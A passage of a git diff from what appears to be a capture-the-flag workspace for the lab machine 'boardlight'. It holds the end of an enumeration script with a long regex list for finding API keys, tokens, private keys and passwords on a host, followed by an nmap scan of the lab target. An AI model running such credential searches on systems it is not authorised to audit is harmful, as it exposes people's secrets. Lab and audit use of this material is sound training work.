+ search_for_regex "DDownload API Key" "(ddownload[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{22})['\"]" 1
+ search_for_regex "Defined Networking API token" "(dnkey-[a-z0-9=_\-]{26}-[a-z0-9=_\-]{52})"
+ search_for_regex "Discord API Key, Client ID & Client Secret" "((discord[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-h0-9]{64}|[0-9]{18}|[a-z0-9=_\-]{32})['\"])" 1
+ search_for_regex "Dropbox API Key" "sl.[a-zA-Z0-9_-]{136}"
+ search_for_regex "Doppler API Key" "(dp\.pt\.)[a-zA-Z0-9]{43}"
+ search_for_regex "Dropbox API secret/key, short & long lived API Key" "(dropbox[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{15}|sl\.[a-z0-9=_\-]{135}|[a-z0-9]{11}(AAAAAAAAAA)[a-z0-9_=\-]{43})['\"]" 1
+ search_for_regex "Duffel API Key" "duffel_(test|live)_[a-zA-Z0-9_-]{43}"
+ search_for_regex "Dynatrace API Key" "dt0c01\.[a-zA-Z0-9]{24}\.[a-z0-9]{64}"
+ search_for_regex "EasyPost API Key" "EZAK[a-zA-Z0-9]{54}"
+ search_for_regex "EasyPost test API Key" "EZTK[a-zA-Z0-9]{54}"
+ search_for_regex "Etherscan API Key" "(etherscan[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Z0-9]{34})['\"]"
+ search_for_regex "Facebook Access Token" "EAACEdEose0cBA[0-9A-Za-z]+"
+ search_for_regex "Facebook Client ID" "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}"
+ search_for_regex "Facebook Oauth" "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]"
+ search_for_regex "Facebook Secret Key" "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}"
+ search_for_regex "Fastly API Key" "(fastly[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9=_\-]{32})['\"]" 1
+ search_for_regex "Finicity API Key & Client Secret" "(finicity[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-f0-9]{32}|[a-z0-9]{20})['\"]" 1
+ search_for_regex "Flutterweave Keys" "FLWPUBK_TEST-[a-hA-H0-9]{32}-X|FLWSECK_TEST-[a-hA-H0-9]{32}-X|FLWSECK_TEST[a-hA-H0-9]{12}"
+ search_for_regex "Frame.io API Key" "fio-u-[a-zA-Z0-9_=\-]{64}"
+ search_for_regex "Github" "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}"
+ search_for_regex "Github App Token" "(ghu|ghs)_[0-9a-zA-Z]{36}"
+ search_for_regex "Github OAuth Access Token" "gho_[0-9a-zA-Z]{36}"
+ search_for_regex "Github Personal Access Token" "ghp_[0-9a-zA-Z]{36}"
+ search_for_regex "Github Refresh Token" "ghr_[0-9a-zA-Z]{76}"
+ search_for_regex "GitHub Fine-Grained Personal Access Token" "github_pat_[0-9a-zA-Z_]{82}"
+ search_for_regex "Gitlab Personal Access Token" "glpat-[0-9a-zA-Z\-]{20}"
+ search_for_regex "GitLab Pipeline Trigger Token" "glptt-[0-9a-f]{40}"
+ search_for_regex "GitLab Runner Registration Token" "GR1348941[0-9a-zA-Z_\-]{20}"
+ search_for_regex "GoCardless API Key" "live_[a-zA-Z0-9_=\-]{40}"
+ search_for_regex "GoFile API Key" "(gofile[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{32})['\"]" 1
+ search_for_regex "Google API Key" "AIza[0-9A-Za-z_\-]{35}"
+ search_for_regex "Google Cloud Platform API Key" "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]"
+ search_for_regex "Google Drive Oauth" "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com"
+ search_for_regex "Google Oauth Access Token" "ya29\.[0-9A-Za-z_\-]+"
+ search_for_regex "Google (GCP) Service-account" "\"type.+:.+\"service_account"
+ search_for_regex "Grafana API Key" "eyJrIjoi[a-z0-9_=\-]{72,92}" 1
+ search_for_regex "Grafana cloud api token" "glc_[A-Za-z0-9\+/]{32,}={0,2}"
+ search_for_regex "Grafana service account token" "(glsa_[A-Za-z0-9]{32}_[A-Fa-f0-9]{8})"
+ search_for_regex "Hashicorp Terraform user/org API Key" "[a-z0-9]{14}\.atlasv1\.[a-z0-9_=\-]{60,70}"
+ search_for_regex "Heroku API Key" "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}"
+ search_for_regex "Hubspot API Key" "['\"][a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12}['\"]" 1
+ search_for_regex "Instatus API Key" "(instatus[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"]" 1
+ search_for_regex "Intercom API Key & Client Secret/ID" "(intercom[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9=_]{60}|[a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12})['\"]" 1
+ search_for_regex "Ionic API Key" "(ionic[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"](ion_[a-z0-9]{42})['\"]" 1
+ search_for_regex "Jenkins Creds" "<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
+ search_for_regex "JSON Web Token" "(ey[0-9a-z]{30,34}\.ey[0-9a-z\/_\-]{30,}\.[0-9a-zA-Z\/_\-]{10,}={0,2})"
+ search_for_regex "Linear API Key" "(lin_api_[a-zA-Z0-9]{40})"
+ search_for_regex "Linear Client Secret/ID" "((linear[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-f0-9]{32})['\"])"
+ search_for_regex "LinkedIn Client ID" "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]"
+ search_for_regex "LinkedIn Secret Key" "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]"
+ search_for_regex "Lob API Key" "((lob[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]((live|test)_[a-f0-9]{35})['\"])|((lob[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]((test|live)_pub_[a-f0-9]{31})['\"])" 1
+ search_for_regex "Lob Publishable API Key" "((test|live)_pub_[a-f0-9]{31})"
+ search_for_regex "MailboxValidator" "(mailbox.?validator[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Z0-9]{20})['\"]" 1
+ search_for_regex "Mailchimp API Key" "[0-9a-f]{32}-us[0-9]{1,2}"
+ search_for_regex "Mailgun API Key" "key-[0-9a-zA-Z]{32}'"
+ search_for_regex "Mailgun Public Validation Key" "pubkey-[a-f0-9]{32}"
+ search_for_regex "Mailgun Webhook signing key" "[a-h0-9]{32}-[a-h0-9]{8}-[a-h0-9]{8}"
+ search_for_regex "Mandrill API Key" "md-[A-Za-z0-9]{22}"
+ search_for_regex "Mapbox API Key" "(pk\.[a-z0-9]{60}\.[a-z0-9]{22})" 1
+ search_for_regex "MessageBird API Key & API client ID" "(messagebird[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{25}|[a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12})['\"]" 1
+ search_for_regex "Microsoft Teams Webhook" "https:\/\/[a-z0-9]+\.webhook\.office\.com\/webhookb2\/[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}@[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}\/IncomingWebhook\/[a-z0-9]{32}\/[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}"
+ search_for_regex "New Relic User API Key, User API ID & Ingest Browser API Key" "(NRAK-[A-Z0-9]{27})|((newrelic[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Z0-9]{64})['\"])|(NRJS-[a-f0-9]{19})"
+ search_for_regex "Nownodes" "(nownodes[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Za-z0-9]{32})['\"]"
+ search_for_regex "Npm Access Token" "(npm_[a-zA-Z0-9]{36})"
+ search_for_regex "OpenAI API Token" "sk-[A-Za-z0-9]{48}"
+ search_for_regex "ORB Intelligence Access Key" "['\"][a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}['\"]"
+ search_for_regex "Pastebin API Key" "(pastebin[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"]" 1
+ search_for_regex "PayPal Braintree Access Token" "access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}"
+ search_for_regex "Picatic API Key" "sk_live_[0-9a-z]{32}"
+ search_for_regex "Pinata API Key" "(pinata[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{64})['\"]" 1
+ search_for_regex "Planetscale API Key" "pscale_tkn_[a-zA-Z0-9_\.\-]{43}"
+ search_for_regex "PlanetScale OAuth token" "(pscale_oauth_[a-zA-Z0-9_\.\-]{32,64})"
+ search_for_regex "Planetscale Password" "pscale_pw_[a-zA-Z0-9_\.\-]{43}"
+ search_for_regex "Plaid API Token" "(access-(?:sandbox|development|production)-[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"
+ search_for_regex "Prefect API token" "(pnu_[a-z0-9]{36})"
+ search_for_regex "Postman API Key" "PMAK-[a-fA-F0-9]{24}-[a-fA-F0-9]{34}"
+ search_for_regex "Private Keys" "\-\-\-\-\-BEGIN PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN RSA PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN OPENSSH PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN PGP PRIVATE KEY BLOCK\-\-\-\-\-|\-\-\-\-\-BEGIN DSA PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN EC PRIVATE KEY\-\-\-\-\-"
+ search_for_regex "Pulumi API Key" "pul-[a-f0-9]{40}"
+ search_for_regex "PyPI upload token" "pypi-AgEIcHlwaS5vcmc[A-Za-z0-9_\-]{50,}"
+ search_for_regex "Quip API Key" "(quip[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{15}=\|[0-9]{10}\|[a-zA-Z0-9\/+]{43}=)['\"]" 1
+ search_for_regex "Rubygem API Key" "rubygems_[a-f0-9]{48}"
+ search_for_regex "Readme API token" "rdme_[a-z0-9]{70}"
+ search_for_regex "Sendbird Access ID" "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"
+ search_for_regex "Sendgrid API Key" "SG\.[a-zA-Z0-9_\.\-]{66}"
+ search_for_regex "Sendinblue API Key" "xkeysib-[a-f0-9]{64}-[a-zA-Z0-9]{16}"
+ search_for_regex "Shippo API Key, Access Token, Custom Access Token, Private App Access Token & Shared Secret" "shippo_(live|test)_[a-f0-9]{40}|shpat_[a-fA-F0-9]{32}|shpca_[a-fA-F0-9]{32}|shppa_[a-fA-F0-9]{32}|shpss_[a-fA-F0-9]{32}"
+ search_for_regex "Sidekiq Secret" "([a-f0-9]{8}:[a-f0-9]{8})"
+ search_for_regex "Sidekiq Sensitive URL" "([a-f0-9]{8}:[a-f0-9]{8})@(?:gems.contribsys.com|enterprise.contribsys.com)"
+ search_for_regex "Slack Token" "xox[baprs]-([0-9a-zA-Z]{10,48})?"
+ search_for_regex "Slack Webhook" "https://hooks.slack.com/services/T[a-zA-Z0-9_]{10}/B[a-zA-Z0-9_]{10}/[a-zA-Z0-9_]{24}"
+ search_for_regex "Smarksheel API Key" "(smartsheet[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{26})['\"]" 1
+ search_for_regex "Square Access Token" "sqOatp-[0-9A-Za-z_\-]{22}"
+ search_for_regex "Square API Key" "EAAAE[a-zA-Z0-9_-]{59}"
+ search_for_regex "Square Oauth Secret" "sq0csp-[ 0-9A-Za-z_\-]{43}"
+ search_for_regex "Stytch API Key" "secret-.*-[a-zA-Z0-9_=\-]{36}"
+ search_for_regex "Stripe Access Token & API Key" "(sk|pk)_(test|live)_[0-9a-z]{10,32}|k_live_[0-9a-zA-Z]{24}" 1
+ search_for_regex "Telegram Bot API Token" "[0-9]+:AA[0-9A-Za-z\\-_]{33}"
+ search_for_regex "Trello API Key" "(trello[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-z]{32})['\"]"
+ search_for_regex "Twilio API Key" "SK[0-9a-fA-F]{32}"
+ search_for_regex "Twitch API Key" "(twitch[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{30})['\"]"
+ search_for_regex "Twitter Client ID" "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}"
+ search_for_regex "Twitter Bearer Token" "(A{22}[a-zA-Z0-9%]{80,100})"
+ search_for_regex "Twitter Oauth" "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]"
+ search_for_regex "Twitter Secret Key" "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}"
+ search_for_regex "Typeform API Key" "tfp_[a-z0-9_\.=\-]{59}"
+ search_for_regex "URLScan API Key" "['\"][a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}['\"]"
+ search_for_regex "Yandex Access Token" "(t1\.[A-Z0-9a-z_-]+[=]{0,2}\.[A-Z0-9a-z_-]{86}[=]{0,2})"
+ search_for_regex "Yandex API Key" "(AQVN[A-Za-z0-9_\-]{35,38})"
+ search_for_regex "Web3 API Key" "(web3[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Za-z0-9_=\-]+\.[A-Za-z0-9_=\-]+\.?[A-Za-z0-9_.+/=\-]*)['\"]" 1
+ echo ''
+
+ print_2title "Searching Misc"
+ search_for_regex "Generic Secret" "[sS][eE][cC][rR][eE][tT].*['\"][0-9a-zA-Z]{32,45}['\"]"
+ search_for_regex "PHP defined password" "define ?\(['\"](\w*pass|\w*pwd|\w*user|\w*datab)"
+ search_for_regex "Simple Passwords" "passw.*[=:].+"
+ search_for_regex "Generic API tokens search (A-C)" "(access_key|access_token|account_sid|admin_email|admin_pass|admin_user|adzerk_api_key|algolia_admin_key|algolia_api_key| algolia_search_key|alias_pass|alicloud_access_key|alicloud_secret_key|amazon_bucket_name|amazon_secret_access_key| amazonaws|anaconda_token|android_docs_deploy_token|ansible_vault_password|aos_key|aos_sec| api_key|api_key_secret|api_key_sid|api_secret|apiary_api_key|apigw_access_token|api.googlemaps|AIza|apidocs| apikey|apiSecret|app_bucket_perm|appclientsecret|app_debug|app_id|appkey|appkeysecret|app_key|app_log_level|app_report_token_key| app_secret|app_token|apple_id_password|application_key|appsecret|appspot|argos_token|artifactory_key|artifacts_aws_access_key_id| artifacts_aws_secret_access_key|artifacts_bucket|artifacts_key|artifacts_secret|assistant_iam_apikey|auth0_api_clientsecret| auth0_client_secret|auth_token|authorizationToken|author_email_addr|author_npm_api_key|authsecret|awsaccesskeyid|aws_access| aws_access_key|aws_access_key_id|aws_bucket|aws_config_accesskeyid|aws_key|aws_secret|aws_secret_access_key|awssecretkey| aws_secret_key|aws_secrets|aws_ses_access_key_id|aws_ses_secret_access_key|aws_token|awscn_access_key_id|awscn_secret_access_key| AWSSecretKey|b2_app_key|b2_bucket|bashrc password|bintray_api_key|bintray_apikey|bintray_gpg_password|bintray_key| bintray_token|bintraykey|bluemix_api_key|bluemix_auth|bluemix_pass|bluemix_pass_prod|bluemix_password|bluemix_pwd|bluemix_username brackets_repo_oauth_token|browser_stack_access_key|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id| bucketeer_aws_secret_access_key|built_branch_deploy_key|bundlesize_github_token|bx_password|bx_username|cache_driver| cache_s3_secret_key|cargo_token|cattle_access_key|cattle_agent_instance_auth|cattle_secret_key|censys_secret|certificate_password| cf_password|cheverny_token|chrome_client_secret|chrome_refresh_token|ci_deploy_password|ci_project_url|ci_registry_user| ci_server_name|ci_user_token|claimr_database|claimr_db|claimr_superuser|claimr_token|cli_e2e_cma_token|client_secret| client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key| cloudant_archived_database|cloudant_audited_database|cloudant_database|cloudant_instance|cloudant_order_database| cloudant_parsed_database|cloudant_password|cloudant_processed_database|cloudant_service_database| cloudflare_api_key|cloudflare_auth_email|cloudflare_auth_key|cloudflare_email|cloudinary_api_secret|cloudinary_name| cloudinary_url|cloudinary_url_staging|clu_repo_url|clu_ssh_private_key_base64|cn_access_key_id|cn_secret_access_key| cocoapods_trunk_email|cocoapods_trunk_token|codacy_project_token|codeclimate_repo_token|codecov_token|coding_token| conekta_apikey|conn.login|connectionstring|consumerkey|consumer_key|consumer_secret|contentful_access_token| contentful_cma_test_token|contentful_integration_management_token|contentful_integration_management_token| contentful_management_api_access_token|contentful_management_api_access_token_new|contentful_php_management_test_token| contentful_test_org_cma_token|contentful_v2_access_token|conversation_password|conversation_username|cos_secrets| coveralls_api_token|coveralls_repo_token|coveralls_token|coverity_scan_token|credentials| cypress_record_key)[a-z0-9_ .,<\-]{0,25}(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z_=\-]{8,64})['\"]"
+ search_for_regex "Generic API tokens search (D-H)" "(danger_github_api_token|database_host|database_name|database_password|database_port|database_schema_test| database_user|database_username|datadog_api_key|datadog_app_key|db_connection|db_database|db_host|db_password| db_pw|db_server|db_user|db_username|dbpasswd|dbpassword|dbuser|ddg_test_email|ddg_test_email_pw|ddgc_github_token| deploy_password|deploy_secure|deploy_token|deploy_user|dgpg_passphrase|digitalocean_access_token| digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd| docker_password|docker_postgres_url|docker_token|dockerhub_password|dockerhubpassword|doordash_auth_token| dot-files|dotfiles|dropbox_oauth_bearer|droplet_travis_password|dsonar_login|dsonar_projectkey|dynamoaccesskeyid| dynamosecretaccesskey|elastic_cloud_auth|elastica_host|elastica_port|elasticsearch_password|encryption_key| encryption_password|end_user_password|env_github_oauth_token|env_heroku_api_key|env_key|env_secret|env_secret_access_key| env_sonatype_password|eureka_awssecretkey|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey|exp_password| file_password|firebase_api_json|firebase_api_token|firebase_key|firebase_project_develop|firebase_token|firefox_secret| flask_secret_key|flickr_api_key|flickr_api_secret|fossa_api_key|ftp_host|ftp_login|ftp_password|ftp_pw|ftp_user|ftp_username| gcloud_bucket|gcloud_project|gcloud_service_key|gcr_password|gcs_bucket|gh_api_key|gh_email|gh_next_oauth_client_secret| gh_next_unstable_oauth_client_id|gh_next_unstable_oauth_client_secret|gh_oauth_client_secret|gh_oauth_token|gh_repo_token| gh_token|gh_unstable_oauth_client_secret|ghb_token|ghost_api_key|git_author_email|git_author_name|git_committer_email| git_committer_name|git_email|git_name|git_token|github_access_token|github_api_key|github_api_token|github_auth|github_auth_token| github_auth_token|github_client_secret|github_deploy_hb_doc_pass|github_deployment_token|github_hunter_token|github_hunter_username| github_key|github_oauth|github_oauth_token|github_oauth_token|github_password|github_pwd|github_release_token|github_repo| github_token|github_tokens|gitlab_user_email|gogs_password|google_account_type|google_client_email|google_client_id|google_client_secret| google_maps_api_key|google_private_key|gpg_key_name|gpg_keyname|gpg_ownertrust|gpg_passphrase|gpg_private_key|gpg_secret_keys| gradle_publish_key|gradle_publish_secret|gradle_signing_key_id|gradle_signing_password|gren_github_token|grgit_user|hab_auth_token| hab_key|hb_codesign_gpg_pass|hb_codesign_key_pass|heroku_api_key|heroku_email|heroku_token|hockeyapp_token|homebrew_github_api_token| hub_dxia2_password)[a-z0-9_ .,<\-]{0,25}(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z_=\-]{8,64})['\"]"
+ search_for_regex "Generic API tokens search (I-R)" "(ij_repo_password|ij_repo_username|index_name|integration_test_api_key|integration_test_appid|internal_secrets| ios_docs_deploy_token|itest_gh_token|jdbc_databaseurl|jdbc_host|jdbc:mysql|jwt_secret|kafka_admin_url|kafka_instance_name|kafka_rest_url| keystore_pass|kovan_private_key|kubecfg_s3_path|kubeconfig|kxoltsn3vogdop92m|leanplum_key|lektor_deploy_password|lektor_deploy_username| lighthouse_api_key|linkedin_client_secretorlottie_s3_api_key|linux_signing_key|ll_publish_url|ll_shared_key|looker_test_runner_client_secret| lottie_happo_api_key|lottie_happo_secret_key|lottie_s3_secret_key|lottie_upload_cert_key_password|lottie_upload_cert_key_store_password| mail_password|mailchimp_api_key|mailchimp_key|mailer_password|mailgun_api_key|mailgun_apikey|mailgun_password|mailgun_priv_key| mailgun_pub_apikey|mailgun_pub_key|mailgun_secret_api_key|manage_key|manage_secret|management_token|managementapiaccesstoken| manifest_app_token|manifest_app_url|mapbox_access_token|mapbox_api_token|mapbox_aws_access_key_id|mapbox_aws_secret_access_key| mapboxaccesstoken|mg_api_key|mg_public_api_key|mh_apikey|mh_password|mile_zero_key|minio_access_key|minio_secret_key|multi_bob_sid| multi_connect_sid|multi_disconnect_sid|multi_workflow_sid|multi_workspace_sid|my_secret_env|mysql_database|mysql_hostname|mysql_password| mysql_root_password|mysql_user|mysql_username|mysqlmasteruser|mysqlsecret|nativeevents|netlify_api_key|new_relic_beta_token|nexus_password| nexuspassword|ngrok_auth_token|ngrok_token|node_env|node_pre_gyp_accesskeyid|node_pre_gyp_github_token|node_pre_gyp_secretaccesskey| non_token|now_token|npm_api_key|npm_api_token|npm_auth_token|npm_email|npm_password|npm_secret_key|npm_token|nuget_api_key|nuget_apikey| nuget_key|numbers_service_pass|oauth_token|object_storage_password|object_storage_region_name|object_store_bucket|object_store_creds| oc_pass|octest_app_password|octest_app_username|octest_password|ofta_key|ofta_region|ofta_secret|okta_client_token|okta_oauth2_client_secret| okta_oauth2_clientsecret|onesignal_api_key|onesignal_user_auth_key|open_whisk_key|openwhisk_key|org_gradle_project_sonatype_nexus_password| org_project_gradle_sonatype_nexus_password|os_auth_url|os_password|ossrh_jira_password|ossrh_pass|ossrh_password|ossrh_secret| ossrh_username|packagecloud_token|pagerduty_apikey|parse_js_key|passwordtravis|paypal_client_secret|percy_project|percy_token|personal_key| personal_secret|pg_database|pg_host|places_api_key|places_apikey|plotly_apikey|plugin_password|postgresql_db|postgresql_pass| postgres_env_postgres_db|postgres_env_postgres_password|preferred_username|pring_mail_username|private_signing_password|prod_access_key_id| prod_password|prod_secret_key|project_config|publish_access|publish_key|publish_secret|pushover_token|pypi_passowrd|qiita_token| quip_token|rabbitmq_password|randrmusicapiaccesstoken|redis_stunnel_urls|rediscloud_url|refresh_token|registry_pass|registry_secure| release_gh_token|release_token|reporting_webdav_pwd|reporting_webdav_url|repotoken|rest_api_key|rinkeby_private_key|ropsten_private_key| route53_access_key_id|rtd_key_pass|rtd_store_pass|rubygems_auth_token)[a-z0-9_ .,<\-]{0,25}(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z_=\-]{8,64})['\"]"
+ search_for_regex "Generic API tokens search (S-Z)" "(s3_access_key|s3_access_key_id|s3_bucket_name_app_logs|s3_bucket_name_assets|s3_external_3_amazonaws_com|s3_key| s3_key_app_logs|s3_key_assets|s3_secret_app_logs|s3_secret_assets|s3_secret_key|s3_user_secret|sacloud_access_token| sacloud_access_token_secret|sacloud_api|salesforce_bulk_test_password|salesforce_bulk_test_security_token| sandbox_access_token|sandbox_aws_access_key_id|sandbox_aws_secret_access_key|sauce_access_key|scrutinizer_token|sdr_token|secret_0| secret_1|secret_10|secret_11|secret_2|secret_3|secret_4|secret_5|secret_6|secret_7|secret_8|secret_9|secret_key_base|secretaccesskey| secret_key_base|segment_api_key|selion_log_level_dev|selion_selenium_host|sendgrid|sendgrid_api_key|sendgrid_key|sendgrid_password|sendgrid_user| sendgrid_username|sendwithus_key|sentry_auth_token|sentry_default_org|sentry_endpoint|sentry_secret|sentry_key|service_account_secret|ses_access_key| ses_secret_key|setdstaccesskey|setdstsecretkey|setsecretkey|signing_key|signing_key_password|signing_key_secret|signing_key_sid|slash_developer_space| slash_developer_space_key|slate_user_email|snoowrap_client_secret|snoowrap_password|snoowrap_refresh_token|snyk_api_token|snyk_token| socrata_app_token|socrata_password|sonar_organization_key|sonar_project_key|sonar_token|sonatype_gpg_key_name|sonatype_gpg_passphrase| sonatype_nexus_password|sonatype_pass|sonatype_password|sonatype_token_password|sonatype_token_user|sonatypepassword|soundcloud_client_secret| soundcloud_password|spaces_access_key_id|spaces_secret_access_key|spotify_api_access_token|spotify_api_client_secret|spring_mail_password|sqsaccesskey| sqssecretkey|square_reader_sdk_repository_password|srcclr_api_token|sshpass|ssmtp_config|staging_base_url_runscope|star_test_aws_access_key_id| star_test_bucket|star_test_location|star_test_secret_access_key|starship_account_sid|starship_auth_token|stormpath_api_key_id|stormpath_api_key_secret| strip_publishable_key|strip_secret_key|stripe_private|stripe_public|surge_login|surge_token|svn_pass|tesco_api_key|test_github_token| test_test|tester_keys_password|thera_oss_access_key|token_core_java|travis_access_token|travis_api_token|travis_branch|travis_com_token|travis_e2e_token| travis_gh_token|travis_pull_request|travis_secure_env_vars|travis_token|trex_client_token|trex_okta_client_token|twilio_api_key|twilio_api_secret| twilio_chat_account_api_service|twilio_configuration_sid|twilio_sid|twilio_token|twine_password|twitter_consumer_key|twitter_consumer_secret|twitteroauthaccesssecret| twitteroauthaccesstoken|unity_password|unity_serial|urban_key|urban_master_secret|urban_secret|us_east_1_elb_amazonaws_com|use_ssh| user_assets_access_key_id|user_assets_secret_access_key|usertravis|v_sfdc_client_secret|v_sfdc_password|vip_github_build_repo_deploy_key|vip_github_deploy_key| vip_github_deploy_key_pass|virustotal_apikey|visual_recognition_api_key|vscetoken|wakatime_api_key|watson_conversation_password|watson_device_password| watson_password|widget_basic_password|widget_basic_password_2|widget_basic_password_3|widget_basic_password_4|widget_basic_password_5|widget_fb_password| widget_fb_password_2|widget_fb_password_3|widget_test_server|wincert_password|wordpress_db_password|wordpress_db_user|wpjm_phpunit_google_geocode_api_key| wporg_password|wpt_db_password|wpt_db_user|wpt_prepare_dir|wpt_report_api_key|wpt_ssh_connect|wpt_ssh_private_key_base64|www_googleapis_com| yangshun_gh_password|yangshun_gh_token|yt_account_client_secret|yt_account_refresh_token|yt_api_key|yt_client_secret|yt_partner_client_secret| yt_partner_refresh_token|yt_server_api_key|zensonatypepassword|zhuliang_gh_token|zopim_account_key)[a-z0-9_ .,<\-]{0,25}(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z_=\-]{8,64})['\"]"
+ search_for_regex "Net user add" "net user .+ /add"
+ echo ''
+
+
+else
+ echo "Regexes to search for API keys aren't activated, use param '-r' "
+fi
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
diff --git a/boardlight/nmap b/boardlight/nmap
new file mode 100644
index 0000000..c4e72a5
--- /dev/null
+++ b/boardlight/nmap
@@ -0,0 +1,17 @@
+# Nmap 7.94SVN scan initiated Tue Aug 27 21:01:56 2024 as: nmap -sC -sV -oN nmap 10.10.11.11
+Nmap scan report for 10.10.11.11
+Host is up (0.50s latency).
+Not shown: 998 closed tcp ports (conn-refused)
+PORT STATE SERVICE VERSION
+22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
+| ssh-hostkey:
+| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
+| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
+|_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
+80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
+|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
+|_http-server-header: Apache/2.4.41 (Ubuntu)
+Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
+
+Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
+# Nmap done at Tue Aug 27 21:02:55 2024 -- 1 IP address (1 host up) scanned in 59.12 seconds
diff --git a/boardlight/pattern b/boardlight/pattern
new file mode 100644
index 0000000..acca293
--- /dev/null
